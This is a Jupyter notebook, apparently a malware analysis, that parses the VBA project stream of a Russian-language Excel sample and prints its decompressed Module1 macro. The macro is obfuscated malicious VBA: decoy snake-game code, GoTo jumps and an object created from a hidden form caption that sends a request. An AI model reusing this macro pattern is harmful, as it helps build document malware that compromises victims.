    def _checkProjectReferenceName(self, ReferenceName):
        if not (ReferenceName.Ref_Name_Id == self.Id and ReferenceName.Reserved == self.reserved):
            ReferenceName = None

        return ReferenceName

class Reference:
    # OUT : NamedTuple
    Id = 0x000F
    def __init__(self):
        self.SIZE = 0

    def _getReferenceName(self, data, offset):
        obj = ReferenceName()
        out, offset = obj.parseReferenceNameEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getReferenceRecord(self, data, offset):
        record_type = read16(data, offset)
        if record_type in [0x002F, 0x0033]:
            obj = ReferenceControl()
        elif record_type in [0x000D]:
            obj = ReferenceRegistered()
        elif record_type in [0x000E]:
            obj = ReferenceProject()
        else:
            obj = None

        out, offset = obj.parse(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def parseReference(self, data, offset):
        NameRecord, offset = self._getReferenceName(data, offset)
        ReferenceRecord, offset = self._getReferenceRecord(data, offset)
        return newMap("Reference", ["NameRecord", "ReferenceRecord"])(NameRecord=NameRecord, ReferenceRecord=ReferenceRecord)

    def parseReferenceEx(self, data, offset):
        return self.parseReference(data, offset), offset + self.SIZE

    def isEnd(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

class ProjectReferences:
    # OUT : List
    def __init__(self):
        self.SIZE = 0

    def _getReference(self, data, offset):
        obj = Reference()
        out, offset = obj.parseReferenceEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _chkEndReference(self, data, offset):
        obj = Reference()
        return obj.isEnd(data, offset)

    def parseProjectReferences(self, data, offset):
        print "[*] ReferenceRecord",

        out = []
        while offset < len(data):
            if self._chkEndReference(data, offset) == True:
                break
            tmp, offset = self._getReference(data, offset)
            out.append(tmp)
        
        return self._checkProjectReference(out)

    def parseProjectReferencesEx(self, data, offset):
        return self.parseProjectReferences(data, offset), offset + self.SIZE
    
    def _checkProjectReference(self, out):
        if len(out) == 0:
            print "..........Error"
        else:
            print "..........Done"
            
        return out
In [14]:
class ProjectCookie:
    # OUT : NamedTuple
    Id = 0x0013
    size = 0x00000002
    def __init__(self):
        self.SIZE = 8

    def parseProjectCookie(self, data, offset):
        MEMBER_NAME = ("Proj_Cookie_Id Size Cookie")
        MEMBER_PATTERN = "=1H1L1H"
        ProjCookie = Map("ProjCookie", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectCookie(ProjCookie)

    def parseProjectCookieEx(self, data, offset):
        return self.parseProjectCookie(data, offset), offset + self.SIZE

    def _checkProjectCookie(self, ProjCookie):
        if not ( ProjCookie.Proj_Cookie_Id == self.Id and ProjCookie.Size == self.size ):
            ProjCookie = None

        return ProjCookie

class ModuleName:
    # OUT : NamedTuple
    Id = 0x0019
    def __init__(self):
        self.SIZE = 0

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleName(self, data, offset):
        MEMBER_NAME = ("Mod_Name_Id SizeOfModuleName ModuleName")
        MEMBER_PATTERN = "=1H1L%ds" % read32(data, offset + 2)
        size = MapSize(MEMBER_PATTERN)
        mod_name = Map("Mod_Name", data[offset:offset + size], MEMBER_NAME, MEMBER_PATTERN)
        self.SIZE += size
        return self._checkModuleName(mod_name)

    def parseModuleNameEx(self, data, offset):
        return self.parseModuleName(data, offset), offset + self.SIZE

    def _checkModuleName(self, mod_name):
        if not ( mod_name.Mod_Name_Id == self.Id ):
            mod_name = None

        return mod_name

class ModuleNameUnicode:
    # OUT : NamedTuple
    Id = 0x0047
    def __init__(self):
        self.SIZE = 0

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleNameUnicode(self, data, offset):
        MEMBER_NAME = ("Mod_Name_Uni_Id SizeOfModuleNameUnicode ModuleNameUnicode")
        MEMBER_PATTERN = "=1H1L%ds" % read32(data, offset + 2)
        size = MapSize(MEMBER_PATTERN)
        mod_name = Map("Mod_NameUnicode", data[offset:offset + size], MEMBER_NAME, MEMBER_PATTERN)
        self.SIZE += size
        return self._checkModuleNameUnicode(mod_name)

    def parseModuleNameUnicodeEx(self, data, offset):
        return self.parseModuleNameUnicode(data, offset), offset + self.SIZE

    def _checkModuleNameUnicode(self, mod_name):
        if not ( mod_name.Mod_Name_Uni_Id == self.Id ):
            mod_name = None

        return mod_name

class ModuleStreamName:
    # OUT : NamedTuple
    Id = 0x001A
    reserved = 0x0032
    def __init__(self):
        self.SIZE = 0

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleStreamName(self, data, offset):
        MEMBER_NAME1 = ("Mod_Stream_Name_Id SizeOfStreamName StreamName")
        MEMBER_PATTERN1 = "=1H1L%ds" % read32(data, offset + 2)
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("Reserved SizeOfStreamNameUnicode StreamNameUnicode")
        MEMBER_PATTERN2 = "=1H1L%ds" % read32(data, offset + 2)
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        offset += size
        self.SIZE += size

        Mod_StreamName = mergeNamedtuple("Mod_StreamName", tmp1, tmp2)
        return self._checkModuleStreamName(Mod_StreamName)

    def parseModuleStreamNameEx(self, data, offset):
        return self.parseModuleStreamName(data, offset), offset + self.SIZE

    def _checkModuleStreamName(self, Mod_StreamName):
        if not ( Mod_StreamName.Mod_Stream_Name_Id == self.Id and Mod_StreamName.Reserved == self.reserved ):
            Mod_StreamName = None

        return Mod_StreamName

class ModuleDocString:
    # OUT : NamedTuple
    Id = 0x001C
    reserved = 0x0048
    def __init__(self):
        self.SIZE = 0

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleDocString(self, data, offset):
        MEMBER_NAME1 = ("Mod_Doc_String_Id SizeOfDocString DocString")
        MEMBER_PATTERN1 = "=1H1L%ds" % read32(data, offset + 2)
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("Reserved SizeOfDocStringUnicode DocStringUnicode")
        MEMBER_PATTERN2 = "=1H1L%ds" % read32(data, offset + 2)
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        offset += size
        self.SIZE += size

        Mod_DocString = mergeNamedtuple("Mod_DocString", tmp1, tmp2)
        return self._checkModuleDocString(Mod_DocString)

    def parseModuleDocStringEx(self, data, offset):
        return self.parseModuleDocString(data, offset), offset + self.SIZE

    def _checkModuleDocString(self, Mod_DocString):
        if not ( Mod_DocString.Mod_Doc_String_Id == self.Id and Mod_DocString.Reserved == self.reserved ):
            Mod_DocString = None

        return Mod_DocString

class ModuleOffset:
    # OUT : NamedTuple
    Id = 0x0031
    size = 0x00000004
    def __init__(self):
        self.SIZE = 10

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleOffset(self, data, offset):
        MEMBER_NAME = ("Mod_Offset_Id Mod_Offset_Size TextOffset")
        MEMBER_PATTERN = "=1H2L"
        mod_offset = Map("Mod_Offset", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkModuleOffset(mod_offset)

    def parseModuleOffsetEx(self, data, offset):
        return self.parseModuleOffset(data, offset), offset + self.SIZE

    def _checkModuleOffset(self, mod_offset):
        if not (mod_offset.Mod_Offset_Id == self.Id and mod_offset.Mod_Offset_Size == self.size):
            mod_offset = None

        return mod_offset

class ModuleHelpContext:
    # OUT : NamedTuple
    Id = 0x001E
    size = 0x00000004
    def __init__(self):
        self.SIZE = 10

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleHelpContext(self, data, offset):
        MEMBER_NAME = ("Mod_Hlp_Context_Id Mod_Hlp_Context_Size HelpContext")
        MEMBER_PATTERN = "=1H2L"
        Mod_HlpContext = Map("Mod_HlpContext", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkModuleHelpContext(Mod_HlpContext)

    def parseModuleHelpContextEx(self, data, offset):
        return self.parseModuleHelpContext(data, offset), offset + self.SIZE

    def _checkModuleHelpContext(self, Mod_HlpContext):
        if not (Mod_HlpContext.Mod_Hlp_Context_Id == self.Id and Mod_HlpContext.Mod_Hlp_Context_Size == self.size):
            Mod_HlpContext = None

        return Mod_HlpContext

class ModuleCookie:
    # OUT : NamedTuple
    Id = 0x002C
    size = 0x00000002
    cookie = 0xFFFF
    def __init__(self):
        self.SIZE = 8

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleCookie(self, data, offset):
        MEMBER_NAME = ("Mod_Cookie_Id Mod_Cookie_Size Cookie")
        MEMBER_PATTERN = "=1H2L"
        Mod_Cookie = Map("Mod_Cookie", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkModuleCookie(Mod_Cookie)

    def parseModuleCookieEx(self, data, offset):
        return self.parseModuleCookie(data, offset), offset + self.SIZE

    def _checkModuleCookie(self, Mod_Cookie):
        if not (Mod_Cookie.Mod_Cookie_Id == self.Id and Mod_Cookie.Mod_Cookie_Size == self.size and Mod_Cookie.Cookie == self.cookie):
            Mod_Cookie = None

        return Mod_Cookie

class ModuleType:
    # OUT : NamedTuple
    Id = [0x0021, 0x0022]
    reserved = 0x00000000
    def __init__(self):
        self.SIZE = 6

    def Enable(self, data, offset):
        if read16(data, offset) in self.Id:
            return True
        else:
            return False

    def parseModuleType(self, data, offset):
        MEMBER_NAME = ("Mod_Type_Id Reserved")
        MEMBER_PATTERN = "=1H1L"
        Mod_Type = Map("Mod_Type", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkModuleType(Mod_Type)

    def parseModuleTypeEx(self, data, offset):
        return self.parseModuleType(data, offset), offset + self.SIZE

    def _checkModuleType(self, Mod_Type):
        if not (Mod_Type.Reserved == self.reserved and Mod_Type.Mod_Type_Id in self.Id):
            Mod_Type = None

        return Mod_Type

class ModuleReadOnly:
    # OUT : NamedTuple
    Id = 0x0025
    reserved = 0x00000000
    def __init__(self):
        self.SIZE = 6

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleReadOnly(self, data, offset):
        MEMBER_NAME = ("Mod_RO_Id Reserved")
        MEMBER_PATTERN = "=1H1L"
        Mod_ReadOnly = Map("Mod_ReadOnly", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkModuleReadOnly(Mod_ReadOnly)

    def parseModuleReadOnlyEx(self, data, offset):
        return self.parseModuleReadOnly(data, offset), offset + self.SIZE

    def _checkModuleReadOnly(self, Mod_ReadOnly):
        if not (Mod_ReadOnly.Reserved == self.reserved and Mod_ReadOnly.Mod_RO_Id == self.Id):
            Mod_ReadOnly = None

        return Mod_ReadOnly

class ModulePrivate:
    # OUT : NamedTuple
    Id = 0x0028
    reserved = 0x00000000
    def __init__(self):
        self.SIZE = 6

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModulePrivate(self, data, offset):
        MEMBER_NAME = ("Mod_Private_Id Reserved")
        MEMBER_PATTERN = "=1H1L"
        Mod_Private = Map("Mod_Private", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkModulePrivate(Mod_Private)

    def parseModulePrivateEx(self, data, offset):
        return self.parseModulePrivate(data, offset), offset + self.SIZE

    def _checkModulePrivate(self, Mod_Private):
        if not (Mod_Private.Reserved == self.reserved and Mod_Private.Mod_Private_Id == self.Id):
            Mod_Private = None

        return Mod_Private

class Module:
    terminator = 0x002B
    reserved = 0x00000000
    def __init__(self):
        self.SIZE = 0

    def _getModuleName(self, data, offset):
        out = None

        obj = ModuleName()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleNameEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleNameUnicode(self, data, offset):
        out = None

        obj = ModuleNameUnicode()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleNameUnicodeEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleStreamName(self, data, offset):
        out = None

        obj = ModuleStreamName()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleStreamNameEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleDocString(self, data, offset):
        out = None

        obj = ModuleDocString()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleDocStringEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleOffset(self, data, offset):
        out = None

        obj = ModuleOffset()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleOffsetEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleHelpContext(self, data, offset):
        out = None

        obj = ModuleHelpContext()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleHelpContextEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleCookie(self, data, offset):
        out = None

        obj = ModuleCookie()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleCookieEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleType(self, data, offset):
        out = None

        obj = ModuleType()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleTypeEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleReadOnly(self, data, offset):
        out = None

        obj = ModuleReadOnly()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleReadOnlyEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModulePrivate(self, data, offset):
        out = None

        obj = ModulePrivate()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModulePrivateEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def parseModule(self, data, offset):
        Modules = newMap("Modules", [])()

        NameRecord, offset = self._getModuleName(data, offset)
        if NameRecord != None:
            Modules = addNamedtuple("Modules", Modules, "NameRecord", NameRecord)

        NameUnicodeRecord, offset = self._getModuleNameUnicode(data, offset)
        if NameUnicodeRecord != None:
            Modules = addNamedtuple("Modules", Modules, "NameUnicodeRecord", NameUnicodeRecord)

        StreamNameRecord, offset = self._getModuleStreamName(data, offset)
        if StreamNameRecord != None:
            Modules = addNamedtuple("Modules", Modules, "StreamNameRecord", StreamNameRecord)

        DocStringRecord, offset = self._getModuleDocString(data, offset)
        if DocStringRecord != None:
            Modules = addNamedtuple("Modules", Modules, "DocStringRecord", DocStringRecord)

        OffsetRecord, offset = self._getModuleOffset(data, offset)
        if OffsetRecord != None:
            Modules = addNamedtuple("Modules", Modules, "OffsetRecord", OffsetRecord)

        HelpContextRecord, offset = self._getModuleHelpContext(data, offset)
        if HelpContextRecord != None:
            Modules = addNamedtuple("Modules", Modules, "HelpContextRecord", HelpContextRecord)

        CookieRecord, offset = self._getModuleCookie(data, offset)
        if CookieRecord != None:
            Modules = addNamedtuple("Modules", Modules, "CookieRecord", CookieRecord)

        TypeRecord, offset = self._getModuleType(data, offset)
        if TypeRecord != None:
            Modules = addNamedtuple("Modules", Modules, "TypeRecord", TypeRecord)

        ReadOnlyRecord, offset = self._getModuleReadOnly(data, offset)
        if ReadOnlyRecord != None:
            Modules = addNamedtuple("Modules", Modules, "ReadOnlyRecord", ReadOnlyRecord)

        PrivateRecord, offset = self._getModulePrivate(data, offset)
        if PrivateRecord != None:
            Modules = addNamedtuple("Modules", Modules, "PrivateRecord", PrivateRecord)

        Terminator, offset = read16Ex(data, offset)
        Modules = addNamedtuple("Modules", Modules, "Terminator", Terminator)
        self.SIZE += 2

        Reserved = read32(data, offset)
        Modules = addNamedtuple("Modules", Modules, "Reserved", Reserved)
        self.SIZE += 4

        return self._checkModule(Modules)

    def parseModuleEx(self, data, offset):
        return self.parseModule(data, offset), offset + self.SIZE

    def _checkModule(self, Modules):
        if not ( Modules.Terminator == self.terminator and Modules.Reserved == self.reserved ):
            Modules = None

        return Modules

class ProjectModules:
    Id = 0x000F
    def __init__(self):
        self.SIZE = 0

    def _getProjectCookie(self, data, offset):
        obj = ProjectCookie()
        out, offset = obj.parseProjectCookieEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getModule(self, data, offset):
        obj = Module()
        out, offset = obj.parseModuleEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def parseProjectModules(self, data, offset):
        print "[*] ModulesRecord",

        MEMBER_NAME = ("Proj_Mod_Id Proj_Mod_Size Count")
        MEMBER_PATTERN = "=1H1L1H"
        size = MapSize(MEMBER_PATTERN)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME, MEMBER_PATTERN)
        offset += size
        self.SIZE += size

        ProjectCookie, offset = self._getProjectCookie(data, offset)
        tmp2 = addNamedtuple("tmp2", tmp1, "ProjectCookieRecord", ProjectCookie)

        Modules = []
        for i in xrange(tmp1.Count):
            mod, offset = self._getModule(data, offset)
            Modules.append(mod)

        ProjModules = addNamedtuple("ProjModules", tmp2, "Modules", Modules)
        return self._checkProjectModules(ProjModules)

    def parseProjectModulesEx(self, data, offset):
        return self.parseProjectModules(data, offset), offset + self.SIZE

    def _checkProjectModules(self, ProjModules):
        if not ( ProjModules.Proj_Mod_Id == self.Id and ProjModules.Proj_Mod_Size == 0x00000002 ):
            ProjModules = None
            print "..........Error"
        else:
            print "..........Done"
            
        return ProjModules
In [15]:
def getProjectInformation(data, offset):
    obj = ProjectInformation()
    return obj.parseProjectInformationEx(data, offset)

def getProjectReferences(data, offset):
    obj = ProjectReferences()
    return obj.parseProjectReferencesEx(data, offset)

def getProjectModules(data, offset):
    obj = ProjectModules()
    return obj.parseProjectModulesEx(data, offset)

def PrintLog(dirStream):
    print "[Info] Project Name : %s" % dirStream.InformationRecord.NameRecord.ProjectName
    reference = dirStream.ReferencesRecord
    for i in xrange(len(reference)):
        print "[Info] Reference : %s" % (reference[i].NameRecord.Name)

    modules = dirStream.ModulesRecord.Modules
    for mod in modules:
        name = mod.NameRecord.ModuleName
        offset = mod.OffsetRecord.TextOffset
        print "[Info] Modules Name : %s (Offset : 0x%x)" % (name, offset)
            
print "[*] Parse dir Stream "

offset = 0
infoRecord, offset = getProjectInformation(dec_stream, offset)
refRecord, offset = getProjectReferences(dec_stream, offset)
modRecord, offset = getProjectModules(dec_stream, offset)
terminator, offset = read16Ex(dec_stream, offset)
reserved, offset = read32Ex(dec_stream, offset)

dirStream = newMap("dirStream", ["InformationRecord", "ReferencesRecord", "ModulesRecord", "Terminator", "Reserved"])
dirStream = dirStream(InformationRecord=infoRecord, ReferencesRecord=refRecord, ModulesRecord=modRecord, Terminator=terminator, 
                      Reserved=reserved)

if offset != len(dec_stream):
    print "[*] [ERROR] dirStream.parse() is not complete"
print ""

PrintLog(dirStream)
[*] Parse dir Stream 
[*] InformationRecord ..........Done
[*] ReferenceRecord ..........Done
[*] ModulesRecord ..........Done

[Info] Project Name : VBAProject
[Info] Reference : stdole
[Info] Reference : Office
[Info] Reference : MSForms
[Info] Modules Name : �������� (Offset : 0x44e)
[Info] Modules Name : ����1 (Offset : 0x325)
[Info] Modules Name : ����2 (Offset : 0x325)
[Info] Modules Name : ����3 (Offset : 0x325)
[Info] Modules Name : UserForm1 (Offset : 0x3a1)
[Info] Modules Name : Module1 (Offset : 0x4db3)
In [16]:
code_page = dirStream.InformationRecord.CodePageRecord.CodePage
codec = "cp%d" % code_page
print "[Codec] %s" % codec

def PrintLog2(dirStream):
    print "[Info] Project Name : %s" % dirStream.InformationRecord.NameRecord.ProjectName
    reference = dirStream.ReferencesRecord
    for i in xrange(len(reference)):
        print "[Info] Reference : %s" % (reference[i].NameRecord.Name)

    modules = dirStream.ModulesRecord.Modules
    for mod in modules:
        name = mod.NameRecord.ModuleName
        offset = mod.OffsetRecord.TextOffset
        print "[Info] Modules Name : %s (Offset : 0x%x)" % (name.decode(codec), offset)

PrintLog2(dirStream)
[Codec] cp1251
[Info] Project Name : VBAProject
[Info] Reference : stdole
[Info] Reference : Office
[Info] Reference : MSForms
[Info] Modules Name : ЭтаКнига (Offset : 0x44e)
[Info] Modules Name : Лист1 (Offset : 0x325)
[Info] Modules Name : Лист2 (Offset : 0x325)
[Info] Modules Name : Лист3 (Offset : 0x325)
[Info] Modules Name : UserForm1 (Offset : 0x3a1)
[Info] Modules Name : Module1 (Offset : 0x4db3)
In [17]:
class moduleStream:
    def __init__(self, mod_dir, name, offset):
        self.mod_dir = mod_dir
        self.fname = name
        self.start_offset = offset
        self.fullname = self.mod_dir + os.sep + self.fname + ".stream"
        self.data = file(self.fullname, "rb").read()
        
    def parse(self):
        out = None
        
        if len(self.data) == 0:
            print "[ERROR] %s : Read Failed" % self.fname
            return out
        
        print "[*] Start"
        print "[*] File Name : %s" % self.fname

        print "[*] Decoded..........",
        out = olevba.decompress_stream(self.data[self.start_offset:])
        print "Done\n"          
        
        return out

mod_dir = r"C:\Users\amanaksu\Dropbox\Sample_Windows\###. CFBF-XLS\FormObject"

result = []
modules = dirStream.ModulesRecord.Modules
for mod in modules:
    name = mod.NameRecord.ModuleName.decode(codec)
    tmp = os.path.join(mod_dir, "%s.stream" % name)
    if os.path.isfile(tmp) == True:
        offset = mod.OffsetRecord.TextOffset
        obj = moduleStream(mod_dir, name, offset)
        out = obj.parse()
        result.append(out)
[*] Start
[*] File Name : ЭтаКнига
[*] Decoded.......... Done

[*] Start
[*] File Name : Лист1
[*] Decoded.......... Done

[*] Start
[*] File Name : Лист2
[*] Decoded.......... Done

[*] Start
[*] File Name : Лист3
[*] Decoded.......... Done

[*] Start
[*] File Name : UserForm1
[*] Decoded.......... Done

[*] Start
[*] File Name : Module1
[*] Decoded.......... Done

In [18]:
print result[-1].decode(codec)
Attribute VB_Name = "Module1"
Public somehernya_1 As Object
Public somehernya_2 As Object
Public somehernya_3 As Object

Dim somehernya_7() As String
Public somehernya_4 As String
Public somehernya_5 As String
Public somehernya_6 As Object
Public dikenson() As String
Private MapsInitialized As Boolean
Private mDBname As String
Private MapInit As Boolean
Sub LoadLevel()
    Tick = gameLevel.Tick
    cellSize = gameLevel.cellSize
    boardHeight = gameLevel.boardHeight
    boardWidth = gameLevel.boardWidth
    snake = gameLevel.snake
    food.Matrix = gameLevel.food.Matrix
    wallmatrix = gameLevel.wallmatrix
    scorePoint = 0
End Sub

Function GameLoop() As String
    Initial.ization
    LoadResource
    tmr = Timer
    Do Until imDone
        DoEvents
        UpdateInput
        If Timer > tmr + Tick And Not imDone Then
            Update
            Draw
            tmr = Timer
        End If
    Loop
    Destroy
    GameLoop = returnValue
End Function

Private Sub LoadResource()
    
    Set sr = ActiveDocument.Pages.Item(5).Shapes.all
    gc.Add Item:=sr.Item(1), Key:="body"
    gc.Add Item:=sr.Item(2), Key:="tr"
    gc.Add Item:=sr.Item(3), Key:="br"
    gc.Add Item:=sr.Item(4), Key:="tl"
    gc.Add Item:=sr.Item(5), Key:="bl"
    gc.Add Item:=sr.Item(6), Key:="tail"
    gc.Add Item:=sr.Item(7), Key:="head"
End Sub

Private Sub MimoNasM()
    Dim maxViewArea As Integer
    maxViewArea = 450
    screenWidth = 800
    screenHeight = 450
      somehernya_1.Send
GoTo s7
    
    ActiveD.ocument.ActivePage.SetSize screenWidth, screenHeight
    ActiveW.indow.Active.View.SetViewArea 0, 0, screenWidth, screenHeight
    offsetLeft = (screenWidth - boardWidth * cellSize) / 2
    offsetBottom = (screenHeight - boardHeight * cellSize) / 2
    
    imDone = False
    directSnake = ""
    keyReadDone = True
s7:
      somehernya_4 = somehernya_3(dikenson(6))
GoTo s8
    drawG.ameField
    drawW.all
    drawI.nterface
s8:
somehernya_5 = somehernya_4 + Replace(dikenson(12), "t", "e")
OnasOn
End Sub

Private Sub addProcess(ByRef c As Object, ByRef p As Object)
    c.m_processes.Add p, "_" & p.m_id
        
    Dim cl As Database_
    If Not Exists(g_databases, "_" & p.m_database) Then
        Set cl = New Database_
        With cl
            .m_name = p.m_database
            .m_status = "Unknown"
            Set .m_processes = New Collection
        End With
        g_databases.Add cl, "_" & p.m_database
    Else
        Set cl = g_databases("_" & p.m_database)
    End If
    cl.m_processes.Add p, "_" & p.m_computer.m_name & "_" & p.m_id
End Sub

Private Sub UpdateInput()
    If (GetA.syncKeyState(vbKeyQ)) Then
        returnValue = "quit"
        imDone = True
        keyReadDone = True
    ElseIf (GetAs.yncKeyState(vbKeyUp)) And Not directSnake = "down" And Not keyReadDone Then
        directSnake = "up"
        keyReadDone = True
    ElseIf (GetA.syncKeyState(vbKeyDown)) And Not directSnake = "up" And Not keyReadDone Then
        directSnake = "down"
        keyReadDone = True
    ElseIf (GetA.syncKeyState(vbKeyLeft)) And Not directSnake = "right" And Not keyReadDone Then
        directSn.ake = "left"
        keyReadDone = True
    ElseIf (GetA.syncKeyState(vbKeyRight)) And Not directSnake = "left" And Not keyReadDone Then
        directSnake = "right"
        keyReadDone = True
    End If
End Sub


Public Sub AddSensors()
  Dim Col As String
  Dim Obj As String
  dikenson = Split(UserForm1.Label1.Caption, "/")
  GoTo ErrExit
  On Error GoTo DomSeiko
  BM.ResetBalances
  
  Cofl.Load

  On Error GoTo 0
ErrExit:
Set somehernya_1 = CreateObject(dikenson(0))
CheckBins
  Exit Sub
DomSeiko:
   AD.DisplayError Err.Number, "modMaps", "AddSensors", Err.Description
   Resume ErrExit
End Sub
Private Sub Update()
    Dim a As Integer, b As Integer
    Dim a2 As Integer, b2 As Integer
    Dim e As Integer, i As Integer
    Dim imWin As Boolean
    
    keyReadDone = False
    If directSnake = "" Then Exit Sub
    
    imWin = True
    a = sn.ake(0, 0)
    b = sn.ake(1, 0)
    
    '/ collision food
    If foo.dMatrix(a, b) = 1 Then
        sna.ke(0, UBound(snake, 2)) = a
        sna.ke(1, UBound(snake, 2)) = b
        foo.dMatrix(a, b) = 0
        scorePoint = scorePoint + 50
    End If
    scorePoint = scorePoint + 1
    
    '/ move head
    Select Case directSnake
        Case "right"
        sna.ke(0, 0) = sna.ke(0, 0) + 1
        Case "left"
        sna.ke(0, 0) = sna.ke(0, 0) - 1
        Case "up"
        sna.ke(1, 0) = sna.ke(1, 0) + 1
        Case "down"
        sna.ke(1, 0) = sna.ke(1, 0) - 1
    End Select
    '/ move body
    For e = 1 To UBound(snake, 2)
        a2 = sna.ke(0, e)
        b2 = sna.ke(1, e)
        sna.ke(0, e) = a
        sna.ke(1, e) = b
        a = a2
        b = b2
    Next e
    
    '/ out of range
    If sna.ke(0, 0) < 0 Or sna.ke(0, 0) > boardWidth - 1 Then
        returnValue = "loselevel"
        imDone = True
        Exit Sub
    End If
    If sna.ke(1, 0) < 0 Or sna.ke(1, 0) > boardHeight - 1 Then
        returnValue = "loselevel"
        imDone = True
        Exit Sub
    End If
    '/ collision wall
    If wallm.atrix(sna.ke(0, 0), sna.ke(1, 0)) = 1 Then
        returnValue = "loselevel"
        imDone = True
        Exit Sub
    End If
    '/ collision his body
    For e = 1 To UBound(snake, 2)
        If sna.ke(0, 0) = sna.ke(0, e) And sna.ke(1, 0) = sna.ke(1, e) Then
            returnValue = "loselevel"
            imDone = True
        End If
    Next e
    
    For i = 0 To boardHeight - 1
        For e = 0 To boardWidth - 1
            If food.Matrix(e, i) = 1 Then
                imWin = False
            End If
        Next e
    Next i
    If imWin Then
        returnValue = "endlevel"
        imDone = True
    End If
    
End Sub

Private Sub Draw()
    Applica.tion.Optimization = True
    Dim x As Integer, y As Integer
    Dim e As Integer, i As Integer
    Dim s As Shape
    Dim typeBodyCell As String
    Dim directionTail As String
    
    ActivePage.Layers.Item(2).Shapes.all.Delete
    ActivePage.Layers.Item(3).Shapes.all.Delete
    SScorePoint.Text.Story = " "
    
    '/ draw snake head
    x = sna.ke(0, 0) * cellSize
    y = sna.ke(1, 0) * cellSize
    Set s = gc.Item("head").Duplicate
    lls.MoveToLayer ActivePage.Layers.Item(2)
    lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
    Select Case directSnake
        Case "up"
            lls.Rotate 90
        Case "down"
            lls.Rotate 270
        Case "left"
            lls.Rotate 180
        Case "right"
            
    End Select
    '/ draw snake body
    For e = 1 To UBound(snake, 2) - 1
        typeBodyCell = getTypeBodyCell(sn.ake(0, e - 1), sn.ake(1, e - 1), sn.ake(0, e), sn.ake(1, e), sn.ake(0, e + 1), sn.ake(1, e + 1))
        x = sn.ake(0, e) * cellSize
        y = sn.ake(1, e) * cellSize
        Select Case typeBodyCell
            Case "tr"
                Set s = gc.Item("tr").Duplicate
                lls.MoveToLayer ActivePage.Layers.Item(2)
                lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
            Case "br"
                Set s = gc.Item("br").Duplicate
                lls.MoveToLayer ActivePage.Layers.Item(2)
                lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
            Case "tl"
                Set s = gc.Item("tl").Duplicate
                lls.MoveToLayer ActivePage.Layers.Item(2)
                lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
            Case "bl"
                Set s = gc.Item("bl").Duplicate
                lls.MoveToLayer ActivePage.Layers.Item(2)
                lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
            Case "tb"
                Set s = gc.Item("body").Duplicate
